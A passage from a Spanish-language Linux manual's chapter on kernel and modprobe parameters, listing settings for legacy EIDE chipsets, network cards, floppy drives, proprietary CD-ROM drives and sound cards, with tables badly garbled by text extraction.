*________________ Hay algunas controladoras EIDE con chipsets defectuosos o con proble- mas a la hora de usar la segunda controladora. Por lo cual ya existe para muchas de ellas un soporte especial en el kernel que se debe activar con uno de sus parámetros. Están soportados los siguientes chipset problemáticos: _____________________________________________________________________________________________________________ CMD 640 Este chipset se encuentra en muchas placas base y tiene bastantes defectos, por lo cual el kernel incorpora un soporte especial que lo reconoce para evitar problemas. Además, en muchos casos, solo por el código especial se puede usar la segunda controladora. El chipset se reconoce automáticamente en sistemas PCI, pero en aquellos a base de VLB hay que poner el parámetro de kernel: ide0=cmd640_vlb . RZ 1000 Este chip se usa en muchas placas base con chipset Neptun siendo defectuoso, sin embar- go, al activar su soporte, el sistema deja de presentar errores aunque trabaje un poco más lento. No se precisa de ningún parámetro del kernel para activarlo. DTC-2278 Es preciso activar este driver especial mediante el comando ide0=dtc2278 para poder usar la segunda controladora. Holtek HT6560B Para activar la segunda controladora se necesi- ta el siguiente parámetro: ide0=ht6560b . QDI QD6580 Con este driver se consigue mayor velocidad de transferencia: ide0=qd6580 . UMC 8672 Para activar la segunda controladora se necesi- ta el siguiente parámetro: ide0=umc8672 . ALI M1439/M1445 Para activar la segunda controladora se necesi- ta el siguiente parámetro: ide0=ali14xx . PROMISE DC4030 Para activar la segunda controladora se nece- sita el siguiente parámetro: ide0=dc4030 . ¡Lectores CD-ROM y unidades de cinta (streamer) aún no están soportados! _____________________________________________________________________________________________________________ Tabla 14.2: Chipsets EIDE especiales Si el chipset no se encuentra entre los reconocidos como defectuosos pero tampoco se reconoce bien, se pueden pasar los siguientes parámetros en lugar de los anteriormente mencionados: ide=[,[,]] 367 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ ______________________________________________________________________________________________ |__variable__________|____valores_/_significado_______________________________________|________ | | número controladora, | | | normalmente 0 o 1 , pero también 3 o 4 | | | dirección base de la controladora, | | | normalmente 0x1f0 , 0x170 , 0x1e8 o 0x168 | | | registro de control de la controladora, | | | normalmente 0x3f6 , 0x376 , 0x3ee o 0x36e | | | interrupción de la controladora, | |_______________________|_normalmente_14__,_15__,_11___o_10___________________________|_______ Si el chipset no se encuentra entre los reconocidos como defectuosos, no se reconoce bien y además los problemas persisten, se puede pasar los siguientes parámetros en lugar de los anteriormente mencionados: ide= __________________________________________________________________________________________________* *__ |__variable________|____valores_/_significado_______________________________________________|_____* *___ | |Número de controladora, normalmente 0 o 1 , | | |pero también 3 o 4 . | | |autotune para conseguir el modo PIO más rápido | | |no lo soportan todos los chipsets. | | |noautotune sin búsqueda del mejor PIO. | | |serialize sin simultaneidad de operaciones | |______________________|de_la_siguiente_controladora.___________________________________|_________* *__ Si desea obtener máxima velocidad con un chipset que no está en la lista de los defectuosos, se puede indicar la velocidad del bus como parámetro adicional; para conocerla consulte el manual de su placa base. idebus= Otros dispositivos Tarjeta de red Disquetera o Tarjeta de red Ethernet ether=,[,[,...]], Los distintos parámetros desde hasta pueden tener un significado diferente según el driver. Como máximo se indican dos parámetros de los que el primero es la dirección del comienzo del rango de memoria compartida (shared memory) y el segundo es el final del rango. El primer argumento no numérico se trata como el nombre. ____________________________________________________________________________________________________* *______ Interrupción usada; 0 para autoprobing. Dirección de puerto; 0 para autoprobing. Dirección del comienzo del rango de memoria com- partida. Algunos drivers usan los 4 bits bajos para el debug-level; el Lance -driver usa estos bits para el canal DMA. ____________________________________________________________________________________________________* *______ 368 Tabla 14.3: Continúa en la página siguiente ... __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ _____________________________________________________________________________________________________________ Dirección del fin del rango de memoria compartida; el 3COM 3c503 -driver usa este parámetro para distinguir entre transceptores internos y externos. Tipo de transceptor. La tarjeta Cabletron E21XX usa los 4 bits bajos para seleccionar el medio. Nombre de la interfaz (típicamente eth0 ). _____________________________________________________________________________________________________________ Tabla 14.3: Variables de tarjetas de red Ethernet La aplicación más frecuente de este parámetro es la de comunicar al kernel que existe más de una tarjeta para ser reconocida; normalmente solo busca una tarjeta red y para que busque dos se puede usar el comando: ether=0,0,eth1 Observe que al indicar 0 para la interrupción se solicita al driver efectuar el autoprobing, con lo cual prueba automáticamente diferentes valores. o Disquetera floppy=,,cmos _______________________________________________________________________________ ||__variable______|__valores_/_significado___________________________|__________ || 0|, 1, 2, 3 | || 0| - Adopción de valores de la CMOS | || 1| - 5.25-pulgadas DD, 360 KB | || 2| - 5.25-pulgadas HD, 1,2 MB | || 3| - 3.5-pulgadas DD, 720 KB | || 4| - 3.5-pulgadas HD, 1,44 MB | || 5| - 3.5-pulgadas ED, 2,88 MB | || 6| - 3.5-pulgadas ED, 2,88 MB | ||___________________1|6__-_desconocido_o_no_instalado__________|______________ floppy= La variable puede tener los siguientes valores (tabla 14.4 en la página siguiente): _____________________________________________________________________________________________________________ one_fdc exactamente una disquetera. asus_pci evita el acceso a la 3a o 4a dis- quetera. daring aumenta las prestaciones para con- troladoras no problemáticas. _____________________________________________________________________________________________________________ Tabla 14.4: Continúa en la página siguiente ... * * 369 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ ____________________________________________________________________________________________________* *______ 0,daring lo contrario de daring . [,]two_fdc Si no se da ningún valor a y hay dos controladoras de disquete, la segunda recibe la dirección de puerto 0x370 . thinkpad computadoras-IBM Thinkpad . 0,thinkpad no es computadora-Thinkpad . omnibook computadoras Omnibook de HP. nodma para computadoras Omnibook . dma estándar nofifo en caso que aparezca "Bus mas- ter arbitration error". fifo estándar. 0xX ,fifo_depth barrera FIFO estándar 0xA . unexpected_interrupts Alertar cuando salen interrup- ciones inesperadas. no_unexpected_interrupts Este es el contrario de unexpected_interrupts . L40SX Lo mismo de arriba. ____________________________________________________________________________________________________* *______ Tabla 14.4: Valores para el parámetro de kernel floppy o Busmouse de Logitech bmouse= o Controladora de disco duro XT xd=,,, 14.3.3 Lectores CD-ROM en controladora propietaria CD-ROM antiguo o Aztech CDA268-01 CD-ROM aztcd=[,0x79] Solo hace falta indicar el valor 0x79 en caso de no conocer la versión del ''firmware''. Ejemplo: aztcd=0x320 o Goldstar R420-CD-ROM gscd= o Mitsumi-CD-ROM mcd=,[,] ______________________________________________________________________________________ |__variable____|____valores_/_significado____________________________________|_________ |____________|Valor_para_el_tiempo_de_espera_del_arranque__|____________________ 370 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ Se puede variar el parámetro entre 0 y 10 , si el CD-ROM no reacciona suficientemente rápido a peticiones del sistema ("timeout"), por lo que es posible que no se encuentre el Rootimage durante la insta- lación. Ejemplo: mcd=0x300,10,5 o Mitsumi-CD-ROM (Multisession) mcdx=,[,,] Ejemplo: mcd=0x300,10 Se soportan hasta 5 lectores o Mozart Interface isp16=[[,[,]]][[,]] _____________________________________________________________________________ ||__variable____|__valores_/_significado__________________________|___________ ||___________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_ Este driver da soporte a lectores CD-ROM conectados a una tarjeta de sonido del nombre ISP16 , MAD16 o Mozart . El valor de la variable resulta del conector en la tarjeta de sonido a la que esta conec- tado el lector CD-ROM. Ejemplo: isp16=0x340,10,3,Sony o Optics Storage 8000 AT CD-ROM optcd= Ejemplo: optcd=0x340 o Philips CM206 CD-ROM cm206=, Ejemplo: cm206=0x340,10 o Pro Audio Spectrum 16 - SCSI-hostadaptor pas16=, Sobre la tarjeta de sonido Pro Audio Spectrum 16 se encuentra una con- troladora SCSI cuyas ajustes se pueden pasar al kernel con este parámetro. Ejemplo: pas16=0x340,10 Si la tarjeta no se reconoce bien se puede usar sin interrupción. En tal caso, la interrupción toma el valor 255 . Ejemplo: pas16=0x340,255 o Sanyo CD-ROM sjcd= Ejemplo: sjcd=0x340 * * 371 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o Sony CDU 31/33 A cdu31a=,[,PAS] En el caso de este driver, el kernel ya no efectúa más el ''autoprobing'', así que la indicación de los parámetros es obligatoria. Ejemplo: cdu31a=0x340,5 Si no hay ninguna interrupción prevista para esta unidad, solo se puede acceder a ella por ''polling''; en tal caso el valor IRQ debe ser 0 . Ejemplo: cdu31a=0x340,0 Si este lector esta conectado a una tarjeta Pro Audio Spectrum, el parámetro podría ser el siguiente: Ejemplo: cdu31a=0x1f88,0,PAS o Sony CDU 535 sonycd535=, Ejemplo: sonycd535=0x340,10 o Soundblaster Pro 16 MultiCD sbpcd=, __________________________________________________________________________________________________* *__________________ |__variable____|____valores_/_significado_________________________________________________________* *_________|_________ |____________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea* *c__16bit__________| Ejemplo: sbpcd=0x230,SoundBlaster El puerto paralelo Puerto paralelo o Puerto paralelo parport=,[ [parport=,[ [parport=,[]]]]] ______________________________________________________ |__variable______|____valores_/_significado__|_________ | |Dirección | |______________|Interrupción______________|_____ Ejemplo: parport=0x3bc parport=0x378,7 parport=0x278,auto o Impresora en el puerto paralelo lp= [lp= [lp=]] ___________________________________________________________ |__variable____________|____valores_/_significado__|________ |_______________|_Puerto_paralelo_________|______ Ejemplo: lp=parport0 lp=parport2 372 __________________________________________________________________________________________________14.3.__Los_parámetros_____* *______________________ 14.3.4 Parámetros de modprobe En este apartado se mencionan los parámetros que se pueden usar cuando un driver se carga como módulo. Si no fuera posible cargar un determinado driver con ningún parámetro, se tendrá que integrar en un kernel monolítico. Algunos drivers todavía no existen como módulos y otros solo reconocen bien el hardware cuando forman parte del kernel. En todo caso es recomend- able probar en un principio si el driver en cuestión puede ser cargado como módulo. Si un driver se carga como módulo, todas las variables que se usan interna- mente pueden ser modificadas mediante los valores en la línea de comando. Por ejemplo, el driver para tarjetas NE2000 usa la variable io para especificar el rango de entrada y salida (I/O) ocupado por la tarjeta. El comando correcto para cargar este módulo es (ver también el apartado 13.2 en la página 350Mó- dulos del kernelsection.13.2): tierra:/ # insmod ne io=0x300 irq=10 o mejor con modprobe : tierra:/ # modprobe ne io=0x300 irq=10 No se debe agregar ningún espacio por delante o por detrás del `=' cuando se están indicando parámetros. Además, los valores hexadecimales deben llevar siempre por delante un `0x'. _______________________________________________________________________________________________________________________|| |||||||| ¡En caso de indicar varios parámetros para un solo driver, estos deben ||| | |||||||| || | |||||||| estar separados con espacios! Se trata de una diferencia fundamental en || | |||||||| comparación al traspaso de parámetros en el prompt de LILO , ya que en || | |||||||| || | |||||||| éste no debe aparecer ningún espacio entre los parámetros de un driver. || | ||||||||_______________________________________________________________________________________________________________||_ Los parámetros que se indican a continuación, se pueden pasar al fichero /etc/modules.conf. En éste es posible indicar para cada módulo una se- rie de parámetros que se colocan en líneas individuales. Una línea de tales características es la siguiente: options = ... donde: _____________________________________________________________________________________________________ ||||||||__variable____________valores_/|significado___________________________|_______________________ |||||||| Nombre del mó|dulo sin extensión .o | |||||||| Parámetro 1 | | ||||||||______________Valor,_asigna|do_al_parámetro_1____________|___________________________ La entrada para la tarjeta NE2000 del ejemplo de arriba sería entonces: options ne io=0x300 irq=10 A partir de aquí se apuntan los parámetros más importantes para la mayoría de los módulos. Controladoras SCSI y el SCSI-subsistema o Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor Nombre del módulo: aha152x.o * * 373 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ ______________________________________________________________________________________________ |__variable____________|____valores_/_significado_____________________________________|________ | | | | | | | | SCSI-ID de controladora; por defecto 7 | | | ; 0 , 1 | | | parity; 0 , 1 | | | modo de operación sincrónico; 0 , 1 | | | retardo del bus; por defecto 100 | |_______________|_Transformación_de_geometría_de_disco;_0_,_1___|___________________ Igual al prompt de LILO : Ejemplo: modprobe aha152x aha152x=0x340,10,7,1,1,0,100,0 Para una segunda controladora: Ejemplo: modprobe aha152x aha152x1=0x140,12,7,1,1,0,100,0 o Future Domain TMC-16x0-hostadaptor Nombre del módulo: fdomain.o Esta controladora funciona también con la controladora SCSI Adaptec 2920 . fdomain=,[,] ____________________________________________________ |__variable____|____valores_/_significado__|_________ | | | | | | |______________|___________________________|_ Como en el prompt de LILO : Ejemplo: modprobe fdomain fdomain=0x140,11,7 o NCR 5380 bzw. NCR 53C400 SCSI-Hostadaptorfamily Nombre del módulo: g_NCR5380.o ___________________________________________________________________ |__parámetros_____|_______valores_______________________________|___ | ncr_addr | | | ncr_irq | ; apapar con 255 | | ncr_dma | | | ncr_5380 |1 para el tipo NCR5380 | |__ncr_53c400____________|1__para_el_tipo_NCR53C400__|_____________ Para la controladora NCR5380: Ejemplo: modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350 ncr_5380=1 Para la controladora NCR53C400 con interrupciones apagadas: Ejemplo: modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000 ncr_53c400=1 Este driver funciona también con la controladora Trantor T130B que tiene amplia difusión. 374 __________________________________________________________________________________________________14.3.__Los_parámetros_____* *______________________ Tarjetas de red o 3Com 3c501 / 3c503 / 3c505 / 3c507 tarjetas de red Nombre del módulo: 3c501.o,3c503.o,3c505.o,3c507.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe 3c505 io=0x300 irq=10 o 3Com 3c509 / 3c579 tarjetas de red Nombre del módulo: 3c509.o __________________________________________________________ ||__parámetros__|_____valores_______________________|______ || irq <|irq> | ||__xcvr______________0|:_interno;_1_:_externo__|_________ Ejemplo: modprobe 3c509 irq=10 xcvr=0 o 3Com 3c515 tarjeta de red Nombre del módulo: 3c515.o Ejemplo: modprobe 3c515 o 3Com 3c59x / 3c90x tarjetas de red (''Vortex''/''Boomerang'') Nombre del módulo: 3c59x.o En el caso de las computadoras Compaq (PCI) se pueden probar los sigu- ientes parámetros: __________________________________________________ ||__parámetros_____________|_____valores_____|_____ || compaq_ioaddr | | || compaq_irq | | ||__compaq_prod_id_______________|__________|_ Ejemplo: modprobe 3c59x compaq_irq=10 o Allied Telesis AT1700 tarjeta de red Nombre del módulo: at1700.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe at1700 io=0x300 irq=10 o Cabletron E21xx tarjeta de red Nombre del módulo: e2100.o * * 375 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ _________________________________________________________ |__parámetros__|_______valores_______________________|____ | io | | | irq | | | mem | | |__xcvr_______________|0_:_interno;_1_:_externo__|_______ Ejemplo: modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0 o Digital DE425 / 434 / 435 / 450 / 500 tarjetas de red Nombre del módulo: de4x5.o io=0x _________________________________________________________________________________ |__parámetros_____________|_______valores_____________________________________|___ | bus | Número del bus PCI, normal 0 | |__id-dispositivo_______________|_Número_del_dispositivo_PCI______|______________ Estos datos se muestran durante el arranque cuando la PCI-BIOS es ''rel- ativamente nueva''. En Linux se pueden ver con: tierra: # cat /proc/pci Ejemplo: modprobe de4x5 io=0x007 o Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS tarjetas de red Nombre del módulo: depca.o ___________________________________________________________________ |__parámetros_________|_______valores___________________________|___ | io | | | irq | | | mem | | | adaptor_name | z.B. DEPCA , | | | de100 , de101 , | | | de200 , de201 , | | | de202 , de210 , | |___________________________|_de422________________________________| Ejemplo: modprobe depca io=0x300 irq=10 o EtherWORKS 3 (DE203, DE204, DE205) tarjetas de red Nombre del módulo: ewrk3.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Ejemplo: modprobe ewrk3 io=0x300 irq=10 376 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ o Intel EtherExpress 16 tarjeta de red Nombre del módulo: eexpress.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe eexpress io=0x300 irq=10 o Intel EtherExpressPro tarjeta de red Nombre del módulo: eepro.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | ||__mem_______________<|addr>________|__ Ejemplo: modprobe eepro io=0x300 irq=10 mem=0xd000 o Intel EtherExpressPro 100 tarjeta de red Nombre del módulo: eepro100.o La tarjeta Intel EtherExpressPro incorpora los chips i82557/i82558 . ________________________________________________________________________ ||__parámetros__|_____valores______________________________________|_____ || options <|Modo dúplex y> | || <|Bus-transceptor> | || 1|6 Operación en dúplex | || 3|2 Solo operación en 100 MBit | ||____________________6|4__Solo_operación_en_10_MBit____|_______________ Ejemplo: modprobe eepro100 options=48 Con este ejemplo se establece operación dúplex y operación en 100 Mbit al mismo tiempo (48 = 32 + 16). o Fujitsu FMV-181/182/183/184 tarjetas de red Nombre del módulo: fmv18x.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe fmv18x io=0x300 irq=10 o HP PCLAN+ (27247B and 27252A) tarjeta de red Nombre del módulo: hp-plus.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe hp-plus io=0x300 irq=10 * * 377 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o HP PCLAN (27245 / 27xxx) Nombre del módulo: hp.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Ejemplo: modprobe hp io=0x300 irq=10 o HP 10/100 VG-AnyLAN (ISA, EISA, PCI) tarjetas de red Nombre del módulo: hp100.o __________________________________________ |__parámetros_____|_______valores_____|____ |__hp100_port____________|_________|_ Ejemplo: modprobe hp100 hp100_port=0x300 o ICL EtherTeam 16i / 32 tarjeta de red Nombre del módulo: eth16i.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Ejemplo: modprobe eth16i io=0x300 irq=10 o Novell NE2000 / NE1000 tarjetas de red Nombre del módulo: ne.o ______________________________________________________________________________ |__parámetros__|_______valores_____________________________________________|___ | io | | | irq | | |__bad________________|bad___,_solo_si_la_tarjeta_no_se_reconoce__|___________ Ejemplo: modprobe ne io=0x300 irq=10 o NI6510 (AM7990 ''lance'' Chip) tarjeta de red Nombre del módulo: ni65.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | | irq | | |__dma________________|__________|_ Ejemplo: modprobe ni65 io=0x300 irq=10 o SMC Ultra tarjeta de red Nombre del módulo: smc-ultra.o 378 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe smc-ultra io=0x300 irq=10 o SMC 9194 tarjeta de red Nombre del módulo: smc9194.o ___________________________________________ ||__parámetros__|_____valores_________|_____ || io <|addr> | || irq <|irq> | ||__if_port___________<|medium>__________|_ _________________________________________________________ ||__variable________|__valores_/_significado__|___________ || 0| auto | || 1| TP | ||_____________________2|_AUI,_10base2_________|_________ Ejemplo: modprobe smc9194 io=0x300 irq=10 if_port=2 o Western Digital WD80x3 tarjeta de red Nombre del módulo: wd.o _____________________________________________ ||__parámetros__|_____valores___________|_____ || io <|addr> | || irq <|irq> | || mem <|mem> | ||__mem_end___________<|mem_end>___________|_ Ejemplo: modprobe wd io=0x300 irq=10 o IBM Tropic chipset Token Ring tarjeta de red Nombre del módulo: ibmtr.o __________________________________________________ ||__parámetros___|_____valores_______________|_____ || io <|addr> | || irq <|irq> | ||__mem_start__________<|mem_start>_____________|_ Ejemplo: modprobe ibmtr io=0x300 o D-Link DE620 Pocket-Adaptor tarjeta de red Nombre del módulo: de620.o _____________________________________________________________ ||__parámetros__|_____valores___________________________|_____ || io <|addr> | || irq <|irq> | || bnc 1| usando conector BNC | || utp 1| usando conector UTP | ||__clone_____________1|_para_tarjeta_clónica_______|________ * * 379 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ Ejemplo: modprobe de620 io=0x300 irq=10 bnc=1 utp=0 Lectores CD-ROM propietarios CD-ROM Los siguientes parámetros son para activar lectores CD-ROM propietarios propietario que están conectados a una controladora especial. Los dueños de una de estas ''antiguas joyas'' probablemente ya lo saben. . . o Aztech CDA268-01 CD-ROM Nombre del módulo: aztcd.o _______________________________________ |__parámetros__|_______valores_____|____ |__aztcd______________|_________|_ Ejemplo: modprobe aztcd aztcd=0x300 o Goldstar R420-CD-ROM Nombre del módulo: gscd.o _______________________________________ |__parámetros__|_______valores_____|____ |__gscd_______________|_________|_ Ejemplo: modprobe gscd gscd=0x300 o Mitsumi CD-ROM Nombre del módulo: mcd.o mcd=,[,] __________________________________________________________________________________________ |__variable____|____valores_/_significado________________________________________|_________ |____________|Valor_para_el_tiempo_de_espera_de_la_arrancada__|_____________________ Se puede variar el parámetro entre 0 y 10 , si el CD-ROM no reacciona suficientemente rápido a las peticiones del sistema ("time- out"), por lo cual es posible que no se encuentre el Rootimage durante la instalación. Ejemplo: modprobe mcd mcd=0x300,10,5 o Mitsumi-CD-ROM (Multisession) Nombre del módulo: mcdx.o mcdx=,[,,] En el caso de varios drivers se pueden repetir los comandos y hasta cuatro veces. o Tarjeta de sonido ''Mozart'' con interfaz de CD-ROM Nombre del módulo: isp16.o isp16_cdrom_base= isp16_cdrom_irq= isp16_cdrom_dma= isp16_cdrom_type= 380 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ _____________________________________________________________________________ ||__variable____|__valores_/_significado__________________________|___________ ||___________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_ Este no es realmente un driver para CD-ROM, sino que configura la inter- faz de los lectores CD-ROM conectados a una tarjeta de sonido de ISP16 , MAD16 o Mozart . Después de cargar este driver solamente se configura la interfaz y el driver del CD-ROM se carga posteriormente. El valor de la variable resulta del conector en la tarjeta de sonido a la que esta conectado el lector CD-ROM. Ejemplo: modprobe isp16 isp16_cdrom_base=0x300 isp16_cdrom_irq=10 isp16_cdrom_dma=1 isp16_cdrom_type=sony o Optics Storage 8000 AT CD-ROM Nombre del módulo: optcd.o ________________________________________ ||__parámetros__|_____valores_____|______ ||__optcd_____________<|addr>________|__ Ejemplo: modprobe optcd optcd=0x300 o Philips CM206 CD-ROM Nombre del módulo: cm206.o cm206=, Ejemplo: modprobe cm206 cm206=0x300,10 o Sanyo CD-ROM Nombre del módulo: sjcd.o ________________________________________ ||__parámetros__|_____valores_____|______ ||__sjcd______________<|addr>________|__ Ejemplo: modprobe sjcd sjcd=0x300 o Sony CDU 31/33 A Nombre del módulo: cdu31a.o _____________________________________________ ||__parámetros_______|_____valores_____|______ || cdu31a_port | | ||__cdu31a_irq_____________|_________|__ Ejemplo: modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10 o Sony CDU 535 Nombre del módulo: sonycd535.o _________________________________________ ||__parámetros___|_____valores_____|______ ||__sonycd535__________<|addr>________|__ Ejemplo: modprobe sonycd535 sonycd535=0x300 * * 381 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o Soundblaster Pro 16 MultiCD Nombre del módulo: sbpcd.o sbpcd=, donde puede tener los siguientes valores: __________________________________________________ |__variable__|____valores_/_significado__|_________ | 0 | LaserMate | | 1 | SoundBlaster | | 2 | SoundScape | |__3____________|_Teac16bit_______________________| Ejemplo: modprobe sbpcd sbpcd=0x300,0 Tarjetas de sonidos y sus chipsets Sonido Desde la versión 2.2.xx del kernel, el soporte de tarjetas de sonido se realiza por módulos y se controla mediante varios parámetros. o AD1816 Chip Nombre del módulo: ad1816.o Entre otras se soporta: TerraTec Base 1, TerraTec Base 64, HP Kayak, Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D _______________________________________________________________ |__parámetros_________________|______valores_______________|____ | io | | | irq | | | dma | | | dma2 | | |__ad1816_clockfreq_________________|______________|_ Ejemplo: modprobe ad1816 io=0x530 irq=5 dma=1 dma2=3 ad1816_clockfreq=33000 o AD1848/CS4248 Chip (MSS) Nombre del módulo: ad1848.o _________________________________________________ |__parámetros_____|_______valores_____________|___ | io | | | irq | | | dma | | | dma2 | | | type | | |__deskpro_xl____________|________________| o Driver genérico OPLx Nombre del módulo: adlib_card.o _______________________________________ |__parámetros__|_______valores_____|____ |__io_________________|_________|_ Ejemplo: modprobe adlib_card io=0x330 382 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ o Crystal 423x chipsets Nombre del módulo: cs4232.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | ||__dma2______________<|dma2>________|__ Ejemplo: modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3 o Ensoniq 1370 chipset Nombre del módulo: es1370.o Ver también PCI64/128. ________________________________________________________________________ ||__parámetros__|_____valores_____________________________________|______ || joystick 1|: activar Joystick | || lineout 1|: cambiar Line-in en Line-out | ||__micz______________i|mpedancia_del_micrófono_________|_______________ Ejemplo: modprobe es1370 joystick=1 lineout=1 o Creative Ensoniq 1371 chipset Nombre del módulo: es1371.o Ver también PCI64/128. ________________________________________ ||__parámetros__|_____valores_____|______ ||__joystick__________<|addr>________|__ Los valores válidos para son 0x200 , 0x208 , 0x210 y 0x218 . Ejemplo: modprobe es1371 joystick=0x200 o Gravis Ultrasound Nombre del módulo: gus.o ______________________________________________ ||__parámetros_______|_____valores_______|_____ || io | | || irq | | || dma | | || dma16 | | || type | | || gus16 | | || no_wave_dma | | ||__db16___________________|________________|_ o MAD16 Nombre del módulo: mad16.o * * 383 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ Soporta OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 y OPTi 82C924. _______________________________________ |__parámetros__|_______valores_____|____ | io | | | irq | | | dma | | |__dma16______________|_________|_ Ejemplo: modprobe mad16 io=0x530 irq=7 dma=0 dma16=1 o Turtle Beach Maui y Tropez Nombre del módulo: maui.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Ejemplo: modprobe maui io=0x530 irq=5 o MPU401 Nombre del módulo: mpu401.o _______________________________________ |__parámetros__|_______valores_____|____ |__io_________________|_________|_ Ejemplo: modprobe mpu401 io=0x330 o Turtle Beach MultiSound Nombre del módulo: msnd.o Ejemplo: modprobe msnd o Turtle Beach Classic/Monterey/Tahiti Nombre del módulo: msnd_classic.o _____________________________________________________ |__parámetros_________________|______valores_____|____ | io | | | irq | | | mem | | | write_ndelay | | | major | | | fifosize | | |__calibrate_signal_________________|________________| Ejemplo: modprobe msnd_classic io=0x290 irq=7 mem=0xd0000 o Turtle Beach Pinnacle/Fiji Nombre del módulo: msnd_pinnacle.o 384 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ Esta tarjeta trabaja con los siguientes parámetros, adicionales a los de Turtle Beach Classic/Monterey/Tahiti (apartado 14.3.4 en la página ante- rior): __________________________________________ ||__parámetros_______|_____valores__|______ || digital | | || cfg | | || reset | | || mpu_io | | || mpu_irq | | || ide_io0 | | || ide_io1 | | || ide_irq | | ||__joystick_io____________|___________|__ Ejemplo: modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5 mem=0xd0000 o OPL3 Nombre del módulo: opl3.o ________________________________________ ||__parámetros__|_____valores_____|______ ||__io________________<|addr>________|__ Ejemplo: modprobe opl3 io=0x388 o OPL3-SA1 Nombre del módulo: opl3sa.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | || mpu_io <|addr> | ||__mpu_irq___________<|irq>_________|__ Ejemplo: modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1 mpu_io=0x330 mpu_irq=5 o YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx Nombre del módulo: opl3sa2.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | || mss_io <|addr> | ||__mpu_io____________<|addr>________|__ * * 385 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ Ejemplo: modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3 mss_io=0x530 mpu_io=0x330 o Pro Audio Spectrum Nombre del módulo: pas2.o _______________________________________________________ |__parámetros_________________|______valores_______|____ | io | | | irq | | | dma | | | dma16 | | | sb_io | | | sb_irq | | | sb_dma | | | sb_dma16 | | | joystick | | | symphony | | | broken_bus_clock | | |___________________________________|__________________| o Personal Sound System (ECHO ESC614) Nombre del módulo: pss.o _______________________________________________ |__parámetros___|_______valores____________|____ | pss_io | | | mss_io | | | mss_irq | | | mss_dma | | | mpu_io | | | mpu_irq | | |__pss_mixer___________|1__(activar)_o_0___|___ o Sound Blaster y clónicos Nombre del módulo: sb.o __________________________________________________________________________ |__parámetros___|_______valores________________________________________|___ | io | | | irq | | | dma | | | dma16 | | | mpu_io | | | mad16 |1 (activar) | | trix |1 (activar) | | pas2 |1 (activar) | | sm_games |1 (activar) | | acer |1 (activar), para Acer Notebooks | |__mwave_bug___________|1__(activar)___________________________________|__ Ejemplo: modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330 386 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ o Aztech Sound Galaxy Nombre del módulo: sgalaxy.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | ||__sgbase_____________|_____________|__ o S3 Sonic Vibes Nombre del módulo: sonicvibes.o Sin parámetros. o Ensoniq SoundScape Nombre del módulo: sscape.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || mss | | || mpu_io <|addr> | || mpu_irq <|irq> | ||__spea______________1|_____________|__ o MediaTrix AudioTrix Pro Nombre del módulo: trix.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | || irq <|irq> | || 